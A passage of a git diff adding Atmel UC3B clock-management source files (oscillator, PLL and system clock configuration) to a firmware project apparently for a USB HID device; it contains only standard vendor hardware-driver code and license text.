IF ADVISED OF THE POSSIBILITY OF SUCH + * DAMAGE. + */ +#ifndef CHIP_OSC_H_INCLUDED +#define CHIP_OSC_H_INCLUDED + +#include + +/** + * \weakgroup osc_group + * @{ + */ + +//! \name Oscillator identifiers +//@{ +#define OSC_ID_OSC0 0 //!< External Oscillator 0 +#define OSC_ID_OSC1 1 //!< External Oscillator 1 +#define OSC_ID_OSC32 2 //!< External 32 kHz oscillator +//@} + +//! \name OSC0/OSC1 mode values +//@{ +//! External clock connected to XIN +#define OSC_MODE_EXTERNAL AVR32_PM_MODE_EXT_CLOCK +//! Crystal connected to XIN/XOUT. Use oscillator gain G0 (400 kHz to 900 kHz) +#define OSC_MODE_XTAL_G0 AVR32_PM_MODE_CRYSTAL_G0 +//! Crystal connected to XIN/XOUT. Use oscillator gain G1 (900 kHz to 3 MHz) +#define OSC_MODE_XTAL_G1 AVR32_PM_MODE_CRYSTAL_G1 +//! Crystal connected to XIN/XOUT. Use oscillator gain G2 (3 MHz to 8 MHz) +#define OSC_MODE_XTAL_G2 AVR32_PM_MODE_CRYSTAL_G2 +//! Crystal connected to XIN/XOUT. Use oscillator gain G3 (8 MHz and higher) +#define OSC_MODE_XTAL_G3 AVR32_PM_MODE_CRYSTAL_G3 +//@} + +//! \name OSC32 mode values +//@{ +//! External clock connected to XIN32 +#define OSC32_MODE_EXTERNAL AVR32_PM_OSCCTRL32_MODE_EXT_CLOCK +//! Crystal connected to XIN32/XOUT32. Use automatic gain control +#define OSC32_MODE_XTAL AVR32_PM_OSCCTRL32_MODE_CRYSTAL +//@} + +//! \name OSC0/OSC1 startup values +//@{ +//! 0 cycles +#define OSC_STARTUP_0 AVR32_PM_OSCCTRL0_STARTUP_0_RCOSC +//! 64 cycles (560 us) +#define OSC_STARTUP_64 AVR32_PM_OSCCTRL0_STARTUP_64_RCOSC +//! 128 cycles (1.1 ms) +#define OSC_STARTUP_128 AVR32_PM_OSCCTRL0_STARTUP_128_RCOSC +//! 2048 cycles (18 ms) +#define OSC_STARTUP_2048 AVR32_PM_OSCCTRL0_STARTUP_2048_RCOSC +//! 4096 cycles (36 ms) +#define OSC_STARTUP_4096 AVR32_PM_OSCCTRL0_STARTUP_4096_RCOSC +//! 8192 cycles (71 ms) +#define OSC_STARTUP_8192 AVR32_PM_OSCCTRL0_STARTUP_8192_RCOSC +//! 16384 cycles (142 ms) +#define OSC_STARTUP_16384 AVR32_PM_OSCCTRL0_STARTUP_16384_RCOSC +//@} + +//! \name OSC32 startup values +//@{ +//! 0 cycles +#define OSC32_STARTUP_0 AVR32_PM_OSCCTRL32_STARTUP_0_RCOSC +//! 128 cycles (1.1 ms) +#define OSC32_STARTUP_128 AVR32_PM_OSCCTRL32_STARTUP_128_RCOSC +//! 8192 cycles (72.3 ms) +#define OSC32_STARTUP_8192 AVR32_PM_OSCCTRL32_STARTUP_8192_RCOSC +//! 16384 cycles (143 ms) +#define OSC32_STARTUP_16384 AVR32_PM_OSCCTRL32_STARTUP_16384_RCOSC +//! 65536 cycles (570 ms) +#define OSC32_STARTUP_65536 AVR32_PM_OSCCTRL32_STARTUP_65536_RCOSC +//! 131072 cycles (1.1 s) +#define OSC32_STARTUP_131072 AVR32_PM_OSCCTRL32_STARTUP_131072_RCOSC +//! 262144 cycles (2.3 s) +#define OSC32_STARTUP_262144 AVR32_PM_OSCCTRL32_STARTUP_262144_RCOSC +//! 524288 cycles (4.6 s) +#define OSC32_STARTUP_524288 AVR32_PM_OSCCTRL32_STARTUP_524288_RCOSC +//@} + +/** + * \def OSC0_STARTUP_TIMEOUT + * \brief Number of slow clock cycles to wait for OSC0 to start + * + * This is the number of slow clock cycles corresponding to + * OSC0_STARTUP_VALUE with an additional 25% safety margin. If the + * oscillator isn't running when this timeout has expired, it is assumed + * to have failed to start. + */ +/** + * \def OSC0_MODE_VALUE + * \brief Board-dependent value written to the MODE bitfield of + * PM_OSCCTRL(0) + */ +/** + * \def OSC0_STARTUP_VALUE + * \brief Board-dependent value written to the STARTUP bitfield of + * PM_OSCCTRL(0) + */ + +#if defined(BOARD_OSC0_STARTUP_US) +# if BOARD_OSC0_STARTUP_US == 0 +# define OSC0_STARTUP_VALUE OSC_STARTUP_0 +# define OSC0_STARTUP_TIMEOUT 8 +# elif BOARD_OSC0_STARTUP_US <= 560 +# define OSC0_STARTUP_VALUE OSC_STARTUP_64 +# define OSC0_STARTUP_TIMEOUT 80 +# elif BOARD_OSC0_STARTUP_US <= 1100 +# define OSC0_STARTUP_VALUE OSC_STARTUP_128 +# define OSC0_STARTUP_TIMEOUT 160 +# elif BOARD_OSC0_STARTUP_US <= 18000 +# define OSC0_STARTUP_VALUE OSC_STARTUP_2048 +# define OSC0_STARTUP_TIMEOUT 2560 +# elif BOARD_OSC0_STARTUP_US <= 36000 +# define OSC0_STARTUP_VALUE OSC_STARTUP_4096 +# define OSC0_STARTUP_TIMEOUT 5120 +# elif BOARD_OSC0_STARTUP_US <= 71000 +# define OSC0_STARTUP_VALUE OSC_STARTUP_8192 +# define OSC0_STARTUP_TIMEOUT 10240 +# elif BOARD_OSC0_STARTUP_US <= 142000 +# define OSC0_STARTUP_VALUE OSC_STARTUP_16384 +# define OSC0_STARTUP_TIMEOUT 20480 +# else +# error BOARD_OSC0_STARTUP_US is too high +# endif +# if BOARD_OSC0_IS_XTAL == true +# if BOARD_OSC0_HZ < 900000 +# define OSC0_MODE_VALUE OSC_MODE_XTAL_G0 +# elif BOARD_OSC0_HZ < 3000000 +# define OSC0_MODE_VALUE OSC_MODE_XTAL_G1 +# elif BOARD_OSC0_HZ < 8000000 +# define OSC0_MODE_VALUE OSC_MODE_XTAL_G2 +# else +# define OSC0_MODE_VALUE OSC_MODE_XTAL_G3 +# endif +# else +# define OSC0_MODE_VALUE OSC_MODE_EXTERNAL +# endif +#else +# ifdef BOARD_OSC0_HZ +# error BOARD_OSC0_STARTUP_US must be defined by the board code +# endif +# ifdef __DOXYGEN__ +# define OSC0_STARTUP_VALUE UNDEFINED +# define OSC0_STARTUP_TIMEOUT UNDEFINED +# define OSC0_MODE_VALUE UNDEFINED +# endif +#endif + +/** + * \def OSC1_STARTUP_VALUE + * \brief Board-dependent value written to the STARTUP bitfield of + * PM_OSCCTRL(1) + */ +/** + * \def OSC1_STARTUP_TIMEOUT + * \brief Number of slow clock cycles to wait for OSC1 to start + * + * This is the number of slow clock cycles corresponding to + * OSC1_STARTUP_VALUE with an additional 25% safety margin. If the + * oscillator isn't running when this timeout has expired, it is assumed + * to have failed to start. + */ +/** + * \def OSC1_MODE_VALUE + * \brief Board-dependent value written to the MODE bitfield of + * PM_OSCCTRL(1) + */ +#if defined(BOARD_OSC1_STARTUP_US) +# if BOARD_OSC1_STARTUP_US == 0 +# define OSC1_STARTUP_VALUE OSC_STARTUP_0 +# define OSC1_STARTUP_TIMEOUT 8 +# elif BOARD_OSC1_STARTUP_US <= 560 +# define OSC1_STARTUP_VALUE OSC_STARTUP_64 +# define OSC1_STARTUP_TIMEOUT 80 +# elif BOARD_OSC1_STARTUP_US <= 1100 +# define OSC1_STARTUP_VALUE OSC_STARTUP_128 +# define OSC1_STARTUP_TIMEOUT 160 +# elif BOARD_OSC1_STARTUP_US <= 18000 +# define OSC1_STARTUP_VALUE OSC_STARTUP_2048 +# define OSC1_STARTUP_TIMEOUT 2560 +# elif BOARD_OSC1_STARTUP_US <= 36000 +# define OSC1_STARTUP_VALUE OSC_STARTUP_4096 +# define OSC1_STARTUP_TIMEOUT 5120 +# elif BOARD_OSC1_STARTUP_US <= 71000 +# define OSC1_STARTUP_VALUE OSC_STARTUP_8192 +# define OSC1_STARTUP_TIMEOUT 10240 +# elif BOARD_OSC1_STARTUP_US <= 142000 +# define OSC1_STARTUP_VALUE OSC_STARTUP_16384 +# define OSC1_STARTUP_TIMEOUT 20480 +# else +# error BOARD_OSC1_STARTUP_US is too high +# endif +# ifdef BOARD_OSC1_IS_XTAL +# if BOARD_OSC1_HZ < 900000 +# define OSC1_MODE_VALUE OSC_MODE_XTAL_G0 +# elif BOARD_OSC1_HZ < 3000000 +# define OSC1_MODE_VALUE OSC_MODE_XTAL_G1 +# elif BOARD_OSC1_HZ < 8000000 +# define OSC1_MODE_VALUE OSC_MODE_XTAL_G2 +# else +# define OSC1_MODE_VALUE OSC_MODE_XTAL_G3 +# endif +# else +# define OSC1_MODE_VALUE OSC_MODE_EXTERNAL +# endif +#else +# ifdef __DOXYGEN__ +# define OSC1_STARTUP_VALUE UNDEFINED +# define OSC1_STARTUP_TIMEOUT UNDEFINED +# define OSC1_MODE_VALUE UNDEFINED +# endif +#endif + +/** + * \name Board-specific configuration parameters + * The following definitions must be provided by the board code for all + * working oscillators on the board. + */ +//@{ +/** + * \def BOARD_OSC0_HZ + * \brief Clock frequency of OSC0 in Hz + */ +/** + * \def BOARD_OSC0_STARTUP_US + * \brief Startup time of OSC0 in microseconds + */ +/** + * \def BOARD_OSC0_IS_XTAL + * \brief OSC0 uses a crystal, not an external clock + */ +/** + * \def BOARD_OSC1_HZ + * \brief Clock frequency of OSC1 in Hz + */ +/** + * \def BOARD_OSC1_STARTUP_US + * \brief Startup time of OSC1 in microseconds + */ +/** + * \def BOARD_OSC1_IS_XTAL + * \brief OSC1 uses a crystal, not an external clock + */ +/** + * \def BOARD_OSC32_HZ + * \brief Clock frequency of OSC32 in Hz + */ +/** + * \def BOARD_OSC32_STARTUP_US + * \brief Startup time of OSC32 in microseconds + */ +/** + * \def BOARD_OSC32_IS_XTAL + * \brief OSC32 uses a crystal, not an external clock + */ +#if !defined(BOARD_OSC0_HZ) +# ifdef __DOXYGEN__ +# define BOARD_OSC0_HZ UNDEFINED +# endif +#endif +#if !defined(BOARD_OSC0_STARTUP_US) +# ifdef __DOXYGEN__ +# define BOARD_OSC0_STARTUP_US UNDEFINED +# endif +#endif +#if !defined(BOARD_OSC0_IS_XTAL) +# ifdef __DOXYGEN__ +# define BOARD_OSC0_IS_XTAL UNDEFINED +# endif +#endif +#if !defined(BOARD_OSC1_HZ) +# ifdef __DOXYGEN__ +# define BOARD_OSC1_HZ UNDEFINED +# endif +#endif +#if !defined(BOARD_OSC1_STARTUP_US) +# ifdef __DOXYGEN__ +# define BOARD_OSC1_STARTUP_US UNDEFINED +# endif +#endif +#if !defined(BOARD_OSC1_IS_XTAL) +# ifdef __DOXYGEN__ +# define BOARD_OSC1_IS_XTAL UNDEFINED +# endif +#endif +#if !defined(BOARD_OSC32_HZ) +# ifdef __DOXYGEN__ +# define BOARD_OSC32_HZ UNDEFINED +# endif +#endif +#if !defined(BOARD_OSC32_STARTUP_US) +# ifdef __DOXYGEN__ +# define BOARD_OSC32_STARTUP_US UNDEFINED +# endif +#endif +#if !defined(BOARD_OSC32_IS_XTAL) +# ifdef __DOXYGEN__ +# define BOARD_OSC32_IS_XTAL UNDEFINED +# endif +#endif +/** + * \name Slow clock frequency limits + * The slow clock is an internal RC oscillator whose frequency may drift + * a bit as a result of temperature changes. These definitions provide + * upper and lower limits which may be used to calculate upper and lower + * limits of timeouts, derived clock frequencies, etc. + */ +//@{ +//! Nominal frequency of the slow clock in Hz +#define OSC_SLOW_NOMINAL_HZ AVR32_PM_RCOSC_FREQUENCY +//! Minimum frequency of the slow clock in Hz +#define OSC_SLOW_MIN_HZ 100000 +//! Maximum frequency of the slow clock in Hz +#define OSC_SLOW_MAX_HZ 120000 +//@} + +#ifndef __ASSEMBLY__ + +#include +#include +#include + +static inline void osc_enable(uint8_t id) +{ + irqflags_t flags; + uint32_t oscctrl; + + flags = cpu_irq_save(); + + switch (id) { +#ifdef BOARD_OSC0_HZ + case OSC_ID_OSC0: + oscctrl = OSC0_STARTUP_VALUE << + AVR32_PM_OSCCTRL0_STARTUP_OFFSET; + oscctrl |= OSC0_MODE_VALUE << AVR32_PM_OSCCTRL0_MODE_OFFSET; + AVR32_PM.oscctrl0 = oscctrl; + AVR32_PM.mcctrl |= 1 << AVR32_PM_MCCTRL_OSC0EN; + break; +#endif + +#ifdef BOARD_OSC1_HZ + case OSC_ID_OSC1: + oscctrl = OSC1_STARTUP_VALUE << + AVR32_PM_OSCCTRL1_STARTUP_OFFSET; + oscctrl |= OSC1_MODE_VALUE << AVR32_PM_OSCCTRL1_MODE_OFFSET; + AVR32_PM.oscctrl1 = oscctrl; + AVR32_PM.mcctrl |= 1 << AVR32_PM_MCCTRL_OSC1EN; + break; +#endif + + default: + /* unhandled_case(id); */ + break; + } + + cpu_irq_restore(flags); +} + +static inline void osc_disable(uint8_t id) +{ + irqflags_t flags; + + flags = cpu_irq_save(); + AVR32_PM.mcctrl &= ~(1U << (AVR32_PM_MCCTRL_OSC0EN + id)); + cpu_irq_restore(flags); +} + +static inline bool osc_is_ready(uint8_t id) +{ + return !!(AVR32_PM.poscsr & (1U << (AVR32_PM_POSCSR_OSC0RDY + id))); +} + +static inline uint32_t osc_get_rate(uint8_t id) +{ + switch (id) { +#ifdef BOARD_OSC0_HZ + case OSC_ID_OSC0: + return BOARD_OSC0_HZ; +#endif + +#ifdef BOARD_OSC1_HZ + case OSC_ID_OSC1: + return BOARD_OSC1_HZ; +#endif + + default: + /* unhandled_case(id); */ + return 0; + } +} + +#endif /* !__ASSEMBLY__ */ + +//! @} + +#endif /* CHIP_OSC_H_INCLUDED */ diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/clock/uc3b0_b1/pll.h b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/clock/uc3b0_b1/pll.h new file mode 100755 index 0000000..018ea1a --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/clock/uc3b0_b1/pll.h @@ -0,0 +1,201 @@ +/** + * \file + * + * \brief Chip-specific PLL definitions + * + * Copyright (C) 2010 Atmel Corporation. All rights reserved. + * + * \page License + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an + * Atmel AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR + * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER + * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH + * DAMAGE. + */ +#ifndef CHIP_PLL_H_INCLUDED +#define CHIP_PLL_H_INCLUDED + +/** + * \weakgroup pll_group + * @{ + */ + +#define PLL_MAX_STARTUP_CYCLES ((1 << AVR32_PM_PLL0_PLLCOUNT_SIZE) - 1) +#define NR_PLLS 2 + +/** + * \brief Number of milliseconds to wait for PLL lock + */ +#define PLL_TIMEOUT_MS \ + div_ceil(1000 * (PLL_MAX_STARTUP_CYCLES * 2), OSC_SLOW_MIN_HZ) + +/** + * \note The PLL must run at twice this frequency internally, but the + * output frequency may be divided by two by setting the PLLOPT[1] bit. + */ +#define PLL_MIN_HZ 40000000 +#define PLL_MAX_HZ 240000000 + +//! \name Chip-specific PLL options +//@{ +//! VCO frequency range is 80-180 MHz (160-240 MHz if unset). +#define PLL_OPT_VCO_RANGE_LOW 0 +//! Divide output frequency by two +#define PLL_OPT_OUTPUT_DIV 1 +//! Disable wide-bandwidth mode +#define PLL_OPT_WBM_DISABLE 2 +//! Number of PLL options +#define PLL_NR_OPTIONS AVR32_PM_PLL0_PLLOPT_SIZE +//! The threshold under which to set the #PLL_OPT_VCO_RANGE_LOW option +#define PLL_VCO_LOW_THRESHOLD ((AVR32_PM_PLL_VCO_RANGE0_MIN_FREQ \ + + AVR32_PM_PLL_VCO_RANGE1_MAX_FREQ) / 2) +//@} + +#ifndef __ASSEMBLY__ + +#include +#include +#include +#include + +enum pll_source { + PLL_SRC_OSC0 = 0, //!< Oscillator 0 + PLL_SRC_OSC1 = 1, //!< Oscillator 1 + PLL_NR_SOURCES, //!< Number of PLL sources +}; + +struct pll_config { + uint32_t ctrl; +}; + +#define pll_get_default_rate(pll_id) \ + ((osc_get_rate(CONFIG_PLL##pll_id##_SOURCE) \ + * CONFIG_PLL##pll_id##_MUL) \ + / CONFIG_PLL##pll_id##_DIV) + +static inline void pll_config_set_option(struct pll_config *cfg, + unsigned int option) +{ + Assert(option < PLL_NR_OPTIONS); + + cfg->ctrl |= 1U << (AVR32_PM_PLL0_PLLOPT + option); +} + +static inline void pll_config_clear_option(struct pll_config *cfg, + unsigned int option) +{ + Assert(option < PLL_NR_OPTIONS); + + cfg->ctrl &= ~(1U << (AVR32_PM_PLL0_PLLOPT + option)); +} + +/** + * The PLL options #PLL_OPT_VCO_RANGE_LOW and #PLL_OPT_OUTPUT_DIV will + * be set automatically based on the calculated target frequency. + */ +static inline void pll_config_init(struct pll_config *cfg, + enum pll_source src, unsigned int div, unsigned int mul) +{ + uint32_t vco_hz; + + Assert(src < PLL_NR_SOURCES); + + /* Calculate internal VCO frequency */ + vco_hz = osc_get_rate(src) * mul; + vco_hz /= div; + Assert(vco_hz >= PLL_MIN_HZ); + Assert(vco_hz <= PLL_MAX_HZ); + + cfg->ctrl = 0; + + /* Bring the internal VCO frequency up to the minimum value */ + if ((vco_hz < PLL_MIN_HZ * 2) && (mul <= 8)) { + mul *= 2; + vco_hz *= 2; + pll_config_set_option(cfg, PLL_OPT_OUTPUT_DIV); + } + + /* Set VCO frequency range according to calculated value */ + if (vco_hz < PLL_VCO_LOW_THRESHOLD) + pll_config_set_option(cfg, PLL_OPT_VCO_RANGE_LOW); + + Assert(mul > 2 && mul <= 16); + Assert(div > 0 && div <= 15); + + cfg->ctrl |= ((mul - 1) << AVR32_PM_PLL0_PLLMUL) + | (div << AVR32_PM_PLL0_PLLDIV) + | (PLL_MAX_STARTUP_CYCLES << AVR32_PM_PLL0_PLLCOUNT) + | (src << AVR32_PM_PLL0_PLLOSC); +} + +#define pll_config_defaults(cfg, pll_id) \ + pll_config_init(cfg, \ + CONFIG_PLL##pll_id##_SOURCE, \ + CONFIG_PLL##pll_id##_DIV, \ + CONFIG_PLL##pll_id##_MUL) + +static inline void pll_config_read(struct pll_config *cfg, unsigned int pll_id) +{ + Assert(pll_id < NR_PLLS); + + cfg->ctrl = AVR32_PM.pll[pll_id]; +} + +static inline void pll_config_write(const struct pll_config *cfg, + unsigned int pll_id) +{ + Assert(pll_id < NR_PLLS); + + AVR32_PM.pll[pll_id] = cfg->ctrl; +} + +static inline void pll_enable(const struct pll_config *cfg, + unsigned int pll_id) +{ + Assert(pll_id < NR_PLLS); + + AVR32_PM.pll[pll_id] = cfg->ctrl | (1U << AVR32_PM_PLL0_PLLEN); +} + +static inline void pll_disable(unsigned int pll_id) +{ + Assert(pll_id < NR_PLLS); + + AVR32_PM.pll[pll_id] = 0; +} + +static inline bool pll_is_locked(unsigned int pll_id) +{ + Assert(pll_id < NR_PLLS); + + return !!(AVR32_PM.poscsr & (1U << (AVR32_PM_POSCSR_LOCK0 + pll_id))); +} + +#endif /* __ASSEMBLY__ */ + +//! @} + +#endif /* CHIP_PLL_H_INCLUDED */ diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/clock/uc3b0_b1/sysclk.c b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/clock/uc3b0_b1/sysclk.c new file mode 100755 index 0000000..85c32be --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/clock/uc3b0_b1/sysclk.c @@ -0,0 +1,378 @@ +/** + * \file + * + * \brief Chip-specific system clock management functions + * + * Copyright (C) 2009 Atmel Corporation. All rights reserved. + * + * \page License + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an + * Atmel AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR + * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER + * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH + * DAMAGE. + */ +#include +#include +#include +#include +#include + + +/** + * \weakgroup sysclk_group + * @{ + */ + +#if ((CONFIG_SYSCLK_CPU_DIV > CONFIG_SYSCLK_PBA_DIV) || \ + (CONFIG_SYSCLK_CPU_DIV > CONFIG_SYSCLK_PBB_DIV)) +# error CONFIG_SYSCLK_PBx_DIV must be equal to or more than CONFIG_SYSCLK_CPU_DIV. +#endif + +/** + * \internal + * \defgroup sysclk_internals_group System Clock internals + * + * System clock management is fairly straightforward apart from one + * thing: Enabling and disabling bus bridges. When all peripherals on a + * given bus are disabled, the bridge to the bus may be disabled. Only + * the PBA and PBB busses support this, and it is not practical to + * disable the PBA bridge as it includes the Power Manager, so turning + * it off would make it impossible to turn anything back on again. + * + * The system clock implementation keeps track of a reference count for + * PBB. When the reference count is zero, the bus bridge is disabled, otherwise + * it is enabled. + * + * @{ + */ + +/** + * \internal + * \name Initial module clock masks + * + * These are the mask values written to the xxxMASK registers during + * initialization if the user has overriden the default behaviour of all clocks + * left enabled. These values assume that: + * - Debugging should be possible + * - The program may be running from flash + * - The PM should be available to unmask other clocks + * - All on-chip RAM should be available + * - INTC, PM and GPIO are made permanently available for now; this + * may change in the future. + */ +//@{ +//! \internal +//! \brief Initial value of CPUMASK +#define SYSCLK_INIT_MINIMAL_CPUMASK \ + ((1 << SYSCLK_OCD) | (1 << SYSCLK_SYSTIMER)) +//! \internal +//! \brief Initial value of HSBMASK +#define SYSCLK_INIT_MINIMAL_HSBMASK \ + ((1 << SYSCLK_FLASHC_DATA) \ + | (1 << SYSCLK_PBA_BRIDGE)) +//! \internal +//! \brief Initial value of PBAMASK +#define SYSCLK_INIT_MINIMAL_PBAMASK \ + ((1 << SYSCLK_INTC) \ + | (1 << SYSCLK_GPIO) \ + | (1 << SYSCLK_PM)) +//! \internal +//! \brief Initial value of PBBMASK +#define SYSCLK_INIT_MINIMAL_PBBMASK 0 +//@} + +/** + * \internal + * \brief Number of enabled peripherals on the PBB bus. + */ +static uint8_t sysclk_pbb_refcount; + +#if defined(CONFIG_SYSCLK_DEFAULT_RETURNS_SLOW_OSC) +/** + * \brief boolean signaling that the sysclk_init is done. + */ +bool sysclk_initialized = false; +#endif + +/** + * \internal + * \brief Enable a maskable module clock. + * \param bus_id Bus index, given by the \c AVR32_PM_CLK_GRP_xxx definitions. + * \param module_index Index of the module to be enabled. This is the + * bit number in the corresponding xxxMASK register. + */ +void sysclk_priv_enable_module(unsigned int bus_id, unsigned int module_index) +{ + irqflags_t flags; + uint32_t mask; + + flags = cpu_irq_save(); + + /* + * Poll MSKRDY before changing mask rather than after, as it's + * highly unlikely to actually be cleared at this point. + */ + while (!(AVR32_PM.poscsr & (1U << AVR32_PM_POSCSR_MSKRDY))) { + /* Do nothing */ + } + + /* Enable the clock */ + mask = *(&AVR32_PM.cpumask + bus_id); + mask |= 1U << module_index; + *(&AVR32_PM.cpumask + bus_id) = mask; + + cpu_irq_restore(flags); +} + +/** + * \internal + * \brief Disable a maskable module clock. + * \param bus_id Bus index, given by the \c AVR32_PM_CLK_GRP_xxx definitions. + * \param module_index Index of the module to be disabled. This is the + * bit number in the corresponding xxxMASK register. + */ +void sysclk_priv_disable_module(unsigned int bus_id, unsigned int module_index) +{ + irqflags_t flags; + uint32_t mask; + + flags = cpu_irq_save(); + + /* + * Poll MSKRDY before changing mask rather than after, as it's + * highly unlikely to actually be cleared at this point. + */ + while (!(AVR32_PM.poscsr & (1U << AVR32_PM_POSCSR_MSKRDY))) { + /* Do nothing */ + } + + /* Disable the clock */ + mask = *(&AVR32_PM.cpumask + bus_id); + mask &= ~(1U << module_index); + *(&AVR32_PM.cpumask + bus_id) = mask; + + cpu_irq_restore(flags); +} + +//! @} + +/** + * \brief Enable a module clock derived from the PBB clock + * \param index Index of the module clock in the PBBMASK register + */ +void sysclk_enable_pbb_module(unsigned int index) +{ + irqflags_t flags; + + /* Enable the bridge if necessary */ + flags = cpu_irq_save(); + + if (!sysclk_pbb_refcount) + sysclk_enable_hsb_module(SYSCLK_PBB_BRIDGE); + sysclk_pbb_refcount++; + + cpu_irq_restore(flags); + + /* Enable the module */ + sysclk_priv_enable_module(AVR32_PM_CLK_GRP_PBB, index); +} + +/** + * \brief Disable a module clock derived from the PBB clock + * \param index Index of the module clock in the PBBMASK register + */ +void sysclk_disable_pbb_module(unsigned int index) +{ + irqflags_t flags; + + /* Disable the module */ + sysclk_priv_disable_module(AVR32_PM_CLK_GRP_PBB, index); + + /* Disable the bridge if possible */ + flags = cpu_irq_save(); + + sysclk_pbb_refcount--; + if (!sysclk_pbb_refcount) + sysclk_disable_hsb_module(SYSCLK_PBB_BRIDGE); + + cpu_irq_restore(flags); +} + +#if defined(CONFIG_USBCLK_SOURCE) || defined(__DOXYGEN__) +/** + * \brief Enable the USB generic clock + * + * \pre The USB generick clock must be configurated to 48MHz. + * CONFIG_USBCLK_SOURCE and CONFIG_USBCLK_DIV must be defined with proper + * configuration. The selected clock source must also be configured. + */ +void sysclk_enable_usb(void) +{ + struct genclk_config gcfg; + + sysclk_enable_pbb_module(SYSCLK_USBB_REGS); + sysclk_enable_hsb_module(SYSCLK_USBB_DATA); + genclk_config_defaults(&gcfg, AVR32_PM_GCLK_USBB); + + /* + * Switch to the system clock selected by the user. + */ + switch (CONFIG_USBCLK_SOURCE) { +#ifdef BOARD_OSC0_HZ + case USBCLK_SRC_OSC0: + osc_enable(0); + osc_wait_ready(0); + genclk_config_set_source(&gcfg, GENCLK_SRC_OSC0); + break; +#endif + +#ifdef CONFIG_PLL0_SOURCE + case USBCLK_SRC_PLL0: { + struct pll_config pllcfg; + + osc_enable(CONFIG_PLL0_SOURCE); + osc_wait_ready(CONFIG_PLL0_SOURCE); + + pll_config_defaults(&pllcfg, 0); + pll_enable(&pllcfg, 0); + pll_wait_for_lock(0); + genclk_config_set_source(&gcfg, GENCLK_SRC_PLL0); + break; + } +#endif + +#ifdef CONFIG_PLL1_SOURCE + case USBCLK_SRC_PLL1: { + struct pll_config pllcfg; + + osc_enable(CONFIG_PLL1_SOURCE); + osc_wait_ready(CONFIG_PLL1_SOURCE); + + pll_config_defaults(&pllcfg, 1); + pll_enable(&pllcfg, 1); + pll_wait_for_lock(1); + genclk_config_set_source(&gcfg, GENCLK_SRC_PLL1); + break; + } +#endif + + default: + /* unhandled_case(CONFIG_SYSCLK_SOURCE); */ + break; + } + + genclk_config_set_divider(&gcfg, CONFIG_USBCLK_DIV); + genclk_enable(&gcfg, AVR32_PM_GCLK_USBB); +} + +/** + * \brief Disable the USB generic clock + */ +void sysclk_disable_usb(void) +{ + genclk_disable(AVR32_PM_GCLK_USBB); + sysclk_disable_hsb_module(SYSCLK_USBB_DATA); + sysclk_disable_pbb_module(SYSCLK_USBB_REGS); +} +#endif // CONFIG_USBCLK_SOURCE + + +void sysclk_init(void) +{ +#if (CONFIG_SYSCLK_PBA_DIV < CONFIG_SYSCLK_CPU_DIV) +#error Wrong CONFIG_SYSCLK_PBA_DIV & CONFIG_SYSCLK_CPU_DIV settings +#endif + + /* Set up system clock dividers if different from defaults */ + if ((CONFIG_SYSCLK_CPU_DIV > 0) || (CONFIG_SYSCLK_PBA_DIV > 0) || + (CONFIG_SYSCLK_PBB_DIV > 0)) { + sysclk_set_prescalers(CONFIG_SYSCLK_CPU_DIV, + CONFIG_SYSCLK_PBA_DIV, + CONFIG_SYSCLK_PBB_DIV); + } + + /* + * Switch to the system clock selected by the user. + */ + switch (CONFIG_SYSCLK_SOURCE) { + case SYSCLK_SRC_RCSYS: + /* Already running from RCOSC */ + break; + +#ifdef 